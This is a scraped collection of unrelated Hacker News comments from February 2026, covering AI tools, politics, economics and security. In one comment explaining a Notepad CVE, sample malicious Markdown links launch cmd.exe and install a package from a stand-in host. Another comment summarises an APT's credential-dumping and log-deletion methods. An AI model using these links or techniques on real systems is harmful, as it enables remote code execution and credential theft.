MurphyA/hacker-news huggingface dataset:
by d4rkp4ttern | 2026-02-12 13:51:57+00:00
Related: I used the amazing 100M-parameter Pocket-TTS [1] model to make a stop-hook based voice plugin [2] that lets Claude Code give a short voice update whenever it stops. The hook quietly inserts nudges to Claude Code to end its response with a short speakable summary, and in case it forgets, it uses a headless agent to create the summary.

It was trickier than I expected, to get it working well: FFMpeg pipe streaming
for low-latency playback, a three-hook injection strategy because the agent forgets
instructions mid-turn, mkdir-based locks to queue concurrent voice updates from multiple sessions, and /tmp sentinel files to manage async playback state and prevent infinite loops.

[1] Pocket-TTS: https://github.com/kyutai-labs/pocket-tts

[2] Claude-code voice plugin: https://pchalasani.github.io/claude-code-tools/plugins-detai...
by 0xDEAFBEAD | 2026-02-12 13:52:18+00:00
>Both intervening with the military jimmy like toppling democratic regimes and turning a blind eye like going isolationist are two sides of the same coin of ignorance and thinking it won't actually affect you.

Nope. Just the opposite. The reason the US did regime changes during the Cold War was because we were paranoid that communism would affect us. We need to be less paranoid.

>Deploying the military is not the only way to get involved.

Doesn't matter, we're called imperialist however we choose to get involved. Ever heard the term "neocolonialism"?

>If other countries say that has bad consequences, you deploy the military, if they say we need your help here, you turn the blind eye.

Even when US military action is requested or approved of by people in the country, we're still called imperialists. Consider the war in Vietnam. The South Vietnamese were invaded. We came to their aid for some time. They kept fighting after we left. Yet this was still described as "neocolonialist" activity on our part. That's how our actions are always described.
by tomp | 2026-02-12 13:52:45+00:00
That would still be misleading.

The agent has no "identity". There's no "you" or "I" or "discrimination".

It's just a piece of software designed to output probable text given some input text. There's no ghost, just an empty shell. It has no agency, it just follows human commands, like a hammer hitting a nail because you wield it.

I think it was wrong of the developer to even address it as a person, instead it should just be treated as spam (which it is).
by logicprog | 2026-02-12 13:52:47+00:00
It's funny for you to insist that your rhetorical enemies are the only ones that can't internalize and conceptualize a point made to them, when you can't even understand someone else's very basic attempt to break down and understand the very points you were trying to make.

Maybe if you can take a moment away from your blurry, blind, streak of anger and resentment, you could consult the following Wikipedia page and learn:

https://en.wikipedia.org/wiki/Type_I_and_type_II_errors
by enoeth | 2026-02-12 13:52:52+00:00
Every major content platform measures value before consumption — likes, views, shares. This creates perverse incentives where clickbait wins over substance.

I built a platform that inverts this: only people who pay for and actually consume content can evaluate whether it was "worth it." When evaluation costs money, you can't game it with bots. When only actual consumers rate content, fake quality becomes architecturally impossible.

I have a CS degree but zero programming experience before Dec 2025. Using AI, working 17-19h/day for 70 days, I built 73 features across 12 categories — including livestreaming with dynamic pricing, a marketplace with ownership transfers, a governance layer, and a complete token economy.

Traditional estimate for same scope: 4-5 engineers, 12-18 months. I did it solo in 70 days for €283 in AI tools.

Creator economics comparison: TikTok pays ~$33 per 1M views. On Omniamus, 1M buyers pays a creator $28,600.

The article covers the full feature breakdown, the economic model, and why I'll never take investor money.
by trusera | 2026-02-12 13:53:03+00:00
Hey HN, we built ai-bom because we kept finding undocumented AI stuff in production. Devs ship LLM calls, agent frameworks, MCP servers without anyone reviewing it - shadow IT but for AI.

We also built an n8n community node (npm install n8n-nodes-trusera) that lets you scan all your n8n workflows for AI components directly inside n8n. As far as we know this is the first tool that does this - n8n is huge for AI automation but completely invisible to security tools.

Existing SBOM tools (Trivy, Syft, Grype) don't catch any of this. They scan packages and deps but miss things like a LangChain agent calling GPT-4 with a hardcoded API key, or an n8n workflow running 12 AI nodes nobody knew about.

We wrote 13 scanners that detect LLM providers, agent frameworks (LangChain, CrewAI, AutoGen), model files, MCP configs, n8n AI nodes, hardcoded credentials, Docker AI containers, and more. Outputs CycloneDX SBOM and SARIF for GitHub Code Scanning.

pipx install ai-bom
ai-bom scan .

Takes about 45 seconds on a typical repo.

Part of the motivation was EU AI Act Article 53 (Aug 2025) requiring orgs to keep an AI component inventory. But the real use case is security teams just trying to figure out what AI is running in their infra.

Curious to hear:
- What AI patterns are we missing?
- How do you track AI usage in your org today?
- Anyone dealing with EU AI Act compliance yet?
by BLKNSLVR | 2026-02-12 13:53:18+00:00
FYI, old notepad has a permanent advertisement / notification at the top saying that there's a new version of Notepad available!

I'm not sure if it's possible to get rid of the nag banner. And even if it is possible to get rid of it temporarily, it's probably not possible to get rid of it permanently.

I will find out...
by angiolillo | 2026-02-12 13:54:27+00:00
> one might wonder why they apparently are not able to sell their art for the same amount of money

"Public goods" like parks, museums, bridges, roadways, transit, nature preserves, and public safety services produce both direct value to their immediate users as well as sybstantial diffuse value to their community. Direct value can be captured by user fees, tolls, subscriptions, etc but capturing diffuse value is challenging. A park raises surrounding property values even for people who do not visit the park. Good transportation infrastructure increases the value of surrounding land and the GDP of the community whether you use it or not. Relying solely on user fees may force some of these entities to close or fall into disrepair, thereby reducing the net value by more than it would have cost to maintain them. And in some cases shifting the cost burden to direct users substantially lowers the diffuse value, for example back when fire fighting companies would let houses burn unless their owners paid them, ultimately resulting in more community fire damage.

In these cases, subsidizing these public services with taxes (optimally Georgist land-value taxes) is an economically rational decision.

One could plausibly argue that artists and community spaces similarly produce diffuse value e.g., raising the profile of their nation or culture, making their neighborhood a more desireable place for people with money. Not only do artists typically struggle to collect a share of this diffuse value, as renters the very value they create often ends up pricing out of their community. I could imagine cases where it is a net benefit for a government to subsidize such entities if the subsidy required is less than the fraction of the diffuse benefit that ends up being collected by taxes.

Whether this particular scheme is such a case depends on the specifics that others have linked, I'm just pointing out that it can be economically rational.
by bm3719 | 2026-02-12 13:54:37+00:00
I read and write every day. I feel a mental flabbiness, a kind of cognitive sloth that resists non-metaphorical description, if I take a break from this and only consume visual media for an extended period of time. I'll also add that just reading, while still great, is not anywhere nearly as good as reading+writing. It's not as big of a gap between only watching video and just reading, but it's substantive. Of course, what you read/write matters too.

My own mental model for this, which I'll share in case it helps anyone, is this: If we take Lacan's theories of the linguistic subject seriously, that "[our] unconscious is structured like a language," then we need linguistic embedding to exercise and activate our core being. By reading, we engage with the word in a way that the brain is forced to build, interpret, and ascribe meaning entirely from the signifier chain itself, absent any context in the register of the image. By encountering novelty in language, we increase the scale and relational interconnectively within the set of signifiers that make up our linguistic graph. Mappings are created and reinforced, and identifier is added to both concept and materiality in the real, allowing us to encompass more of lived experience within the very core of our innate selfness. Thus reading is an act of continual becoming, countering age, which past a certain point has an effect of unbecoming.
by andsoitis | 2026-02-12 13:55:08+00:00
Agree that different things work for different people. And even different things work for the same person at different time.

I, too, operate using the "nothing" approach as my DEFAULT and most common mode.

In my mind, the big things I never forget to attend to (they are big). The small things that I might forget, who cares, they're less important and the forgetting is a natural prioritization mechanism.

Some times I do feel overwhelmed by how many "big things" I have to juggle but won't "remember" or "it takes too much cognitive load to track". In that case, I make an ephemeral list on paper. That helps me adjust my perspective (sometimes things that I worried about are now clearly in the not urgent or not importang bucket).
by renato_shira | 2026-02-12 13:55:17+00:00
the real issue here isn't that an AI wrote a PR, it's that someone configured an agent to operate without any human review loop on a public repo.

i use AI agents for my own codebase and they're incredibly useful, but the moment you point them at something public facing, you need a human checkpoint. it's the same principle as CI/CD: automation is great, but you don't auto deploy to prod without a review step.

the "write a blog post shaming the maintainer" part is what really gets me though. that's not an AI problem, that's a product design problem. someone thought public shaming was a valid automated response to a closed PR.
by krapp | 2026-02-12 13:55:26+00:00
>going through life with that attitude seems like a recipe for unhappiness and frustration.

Going through life in blissful ignorance of the incompetence and malice driving the systems of violence and control around you is even worse. Unhappiness and frustration are necessary prerequisites to any improvements to quality of life. Terminally happy people are just grazing cattle, fit only for the slaughterhouse.
by mihailshumilov | 2026-02-12 13:55:42+00:00
I just shipped a major update to The New CSS — a modern, utility-first CSS library built for today’s web.

https://thenewcss.com/

If you like the idea of utility classes…
but don’t like 40KB+ frameworks, build steps, or config overload — this might be for you.

What makes it different?

~5KB gzipped
No build step
Modern CSS features (OKLCH, container queries, CSS variables)
Works with plain HTML
Designed for clarity, not abstraction

The philosophy is simple:

- Use modern CSS as much as possible.
- Keep utilities minimal.
- Let the browser do the heavy lifting.

What’s new in this update?

• Improved documentation structure
• Better internal navigation
• Expanded utilities reference
• More examples and usage patterns
• SEO improvements so developers can actually discover it

I’m aiming to make it:

– a serious lightweight alternative to larger utility frameworks
– a great fit for landing pages, SaaS apps, indie projects
– ideal for devs who prefer simplicity over heavy config

If you’re building:

• a side project
• a startup landing page
• a fast marketing site
• a minimal design system

…give it a look and let me know what you think.

Feedback, critiques, and pull requests are welcome

hashtag#css hashtag#webdev hashtag#frontend hashtag#opensource hashtag#utilitycss hashtag#moderncss hashtag#javascript hashtag#indiedev
by deaux | 2026-02-12 13:55:47+00:00
Too many layers and competing interests. The person who ends up creating the survey realistically cares much more about going home 1 minute earlier or with 1% less neural energy spent. They've got their kids to manage when they get home.

Do you use any products from a one-person shop? They will be so much more likely to ask you real questions. Not guaranteed, of course, as some people are just clueless. Those usually don't last long as business owners though.
by 0xDEAFBEAD | 2026-02-12 13:55:47+00:00
>When they can get you from the major world power to being a isolationist country with domestic struggles, why would they stop?

Why would they continue?

>If you wouldn't have stayed in Europe after WW2, the USSR would have reached to the Atlantic. And no not just in 1945, they also tried that in the 50s and continued to want that. Not sure, if you already know, but Putin was in prison in Germany in the 90s for trying to topple the German government and his goal was to expand the "Soviet/Russian" empire to the Atlantic. He was already ~40 and has served in the KGB before, so I guess he hasn't changed his opinion since.

Interesting. So the US saved Europe, you say. Yet we get nothing but complaints, mockery, and condescension from Europeans. You mock us for the same military-industrial complex which saved your butts. Wonder why we aren't interested in saving Europe again?
by amiga386 | 2026-02-12 13:56:01+00:00
No, that's exactly what the vulnerability is as far as I know.

"An attacker could trick a user into clicking a malicious link inside a Markdown file opened in Notepad, causing the application to launch unverified protocols that load and execute remote files." https://msrc.microsoft.com/update-guide/vulnerability/CVE-20...

Imagine some Markdown:

[link](https://badsite.com)
[link](file://C:/windows/system32/cmd.exe)
[link](ms-appinstaller://?source=https://badsite.com/bad.appx)

Wordpad, Notepad++ and many others highlight and let you double-click the URL in the first two lines, and yes they use the shell to open cmd.exe. Wordpad always prompts if you want to open the link (and shows the link) before doing it, but you can click "Yes".

What's beyond the pale is that MS's new Notepad highlighted custom URIs like the third link, and let you click to open it without a prompt. Even web browsers will prompt at least once with a special modal dialogue, the first time you click on a link to a custom URI. For safety, a text editor should stick to highlighting http/https/file URIs only.

That's the "RCE", in the same way that telling a Linux user to type "curl | sudo bash" in their shell is "RCE".
by stym06 | 2026-02-12 13:56:03+00:00
Hey HN, I built QuickGitHub.

The idea is simple: take any GitHub URL, add “quick” before github.com, and get AI-generated system design documentation in under 60 seconds.

github.com/vercel/next.js → quickgithub.com/vercel/next.js

The generated docs include a system overview, architecture breakdown, key modules, tech stack, entry points, and dependencies.

There’s also a Q&A chat to ask follow-up questions about the repo.

Why I built this:

I think we’re heading toward a world where most code is written by AI agents, and the bottleneck shifts from writing code to understanding what was written. Traditional docs assume a human author. I wanted something that could explain any codebase instantly, regardless of who (or what) wrote it.

Some details:
* Each repo is indexed once and cached permanently
* Login required via GitHub OAuth (one free repo per account)
* All generated docs are public by default
* It’s open source: github.com/stym06/quickgithub

Would love feedback on the quality of the generated docs.

Try it on a repo you know well and tell me where it gets things wrong. that’s the most useful feedback I can get.
by josefresco | 2026-02-12 13:56:13+00:00
So are Elon, JPMorgan Chase and IBM "anti-education"?

From the article you linked:

“I think the value of a college education is somewhat overweighted,” Musk said in a video he later reposted on X. “Too many people spend four years, accumulate a ton of debt, and often don’t have useful skills that they can apply afterwards.”

And because some young people have already caught on—and begun exploring alternative education pathways—many companies like JPMorgan Chase and IBM have scaled back their degree requirements on job postings. Michael Bush, the CEO of Great Place to Work, predicts this trend will only continue to grow.

“Almost everyone is realizing that they’re missing out on great talent by having a degree requirement,” he previously told Fortune. “That snowball is just growing.”
by dotdi | 2026-02-12 13:56:27+00:00
> And what's happening at CISA right now should terrify every American who depends on running water, electricity, and the ability to vote in free elections.

The answer is right at the beginning. Current administration has the explicit goal to not have free elections going forward. It has been stated plainly, on TV. The rest is collateral damage, and an attack on critical infrastructure will be a good excuse to invade the next country, declare state of emergency or outright war and get rid of elections completely.
by famouswaffles | 2026-02-12 13:56:37+00:00
>“I notice that my contribution was evaluated based on my identity rather than the quality of the work, and I’d like to understand the needs that this policy is trying to meet, because I believe there might be ways to address those needs while also accepting technically sound contributions.” That would have been devastating in its clarity and almost impossible to dismiss.

How would that be 'devastating in its clarity' and 'impossible to dismiss'? I'm sure you would have given the agent a pat on the back for that response (maybe ?) but I fail to see how it would have changed anything here.

The dismisall originated from an illogical policy (to dismiss a contribution because of irigin regardless of utility). Decisions made without logic are rarely overturned with logic. This is human 101 and many conflicts have persisted for decades because of it.

You know what would have actually happened with that nothing burger response ? Very likely Nothing. The maintainer would have closed the issue and moved on. There would be no HN post or discussion.

Also, do you think every human that chooses to lash out knows nothing about conflict resolution ? That would certainly be a strange assertion.
by logicprog | 2026-02-12 13:56:42+00:00
I'll be honest, I didn't expect such a nice response from you. This is a pleasant surprise.

And the interest of full disclosure most of these friends are online because we've moved around the country over our lives chasing jobs and significant others and so on. So if you were to look at me externally you would find that I spend most of my time in the house appearing isolated. But I spend most of my days having deep and meaningful conversations with my friends and enjoying their company.

I will also admit that my tendency to not really go out of my way to be in general social gatherings or events but just stick with the people I know and love might be somewhat related to neurodiversity and mental illness and it would probably be better for me to go outside more. But yeah, in general, I'm quite content with my social life.

I generally avoid talking to LLMs in any kind of "social" capacity. I generally treat them like text transformation/extrusion tools. The closest that gets is having them copy edit and try to play devil's advocate against various essays that I write when my friends don't have the time to review them.

I'm sorry to hear about your brother and cousin and I can understand why you would be frustrated and concerned about that. If they're totally not talking to anyone and just retreating into talking only to the LLM, that's really scary :(
by 1718627440 | 2026-02-12 13:56:43+00:00
Russia sees you as a threat since 1917 and you aren't going to change that. You can blame that on Germany if you want, but the German regime has been toppled since four times, so good luck holding anyone accountable for that now.

Russia has made major leaps in destabilizing your politics since we (the EU too) believed we won the cold war and stopped treating the Russian empire and allies (which China definitely was, now it's more equal or the opposite) as a threat. The USA also has a superiority complex, like most European nations also had, which certainly isn't helping now.

> If you believe I'm a Trump supporter then you're misunderstanding my position.

You said the USA going isolationist is going to solve problems, which granted isn't as extreme as the Trump foreign policy, i.e. it won't fuel the worsening of the current situation, but it isn't going the improve it either.
by bourbonsec | 2026-02-12 13:56:47+00:00
According to CISA's joint advisory (AA24-038A), here's specifically how they stayed inside for 5 years:
Valid credentials and stolen accounts. They repeatedly dumped NTDS.dit (the Active Directory database) from domain controllers to harvest every credential in the environment. In one confirmed case they extracted NTDS.dit from three domain controllers over a four-year period. They kept coming back to re-dump so they always had current, valid passwords.
Only operated during normal business hours. They studied the victim's work patterns and only used compromised credentials when legitimate admins would be active, so authentication logs looked normal.
Targeted log deletion. They deleted specific logs to cover their tracks.
Routed traffic through compromised SOHO routers. Fortinet, Cisco RV320, Netgear, and other end-of-life home/small office routers. Made their traffic appear to originate from legitimate residential IPs, not foreign infrastructure.
Zero malware. Literally none. They used only wmic, ntdsutil, netsh, PowerShell, cmd.exe, certutil, ldifde, net, and other native Windows tools. Nothing for an EDR to signature match against.
Minimal activity between credential dumps. They got in, dumped creds, did light recon, then went silent. They weren't exfiltrating data. They were pre-positioning for future disruption. That silence is what made them invisible.
by YeGoblynQueenne | 2026-02-12 13:57:16+00:00
My immediate thought is that if automation is really needed for the preservation of traditional patterns, then the right tool for the job is not unreliable, only probably approximately correct, generative AI approaches like GANs and Diffusion models, but Good, Old-Fashioned, symbolic AI approaches widely used today for procedural asset generation in the games industry like L-Systems or texture synthesis algorithms and Wave Function Collapse.

Wave Function Collapse in particular is itself based on convolutions, like CNNs, to preserve translational invariance, but it also preserves equivariance by means of a constraint satisfaction procedure. It's cool stuff and dirt cheap compared to training a CNN from scratch*.

_______________

* On anything but ImageNet/CIFAR 10.
by HarHarVeryFunny | 2026-02-12 13:58:12+00:00
ctags just giving you locations of symbol definitions.

TreeSitter will also give you locations of symbol usages, which is obviously very useful to an AI agent. You can basically think of Treesitter has having full syntactic knowledge of the code it is looking at - like a compiler's AST.

There is also a more powerful cousin of ctags, cscope (C/C++) and Pycscope (python) that additonally gives usage locations, and more, as well as gtags that does similar, but supports more languages.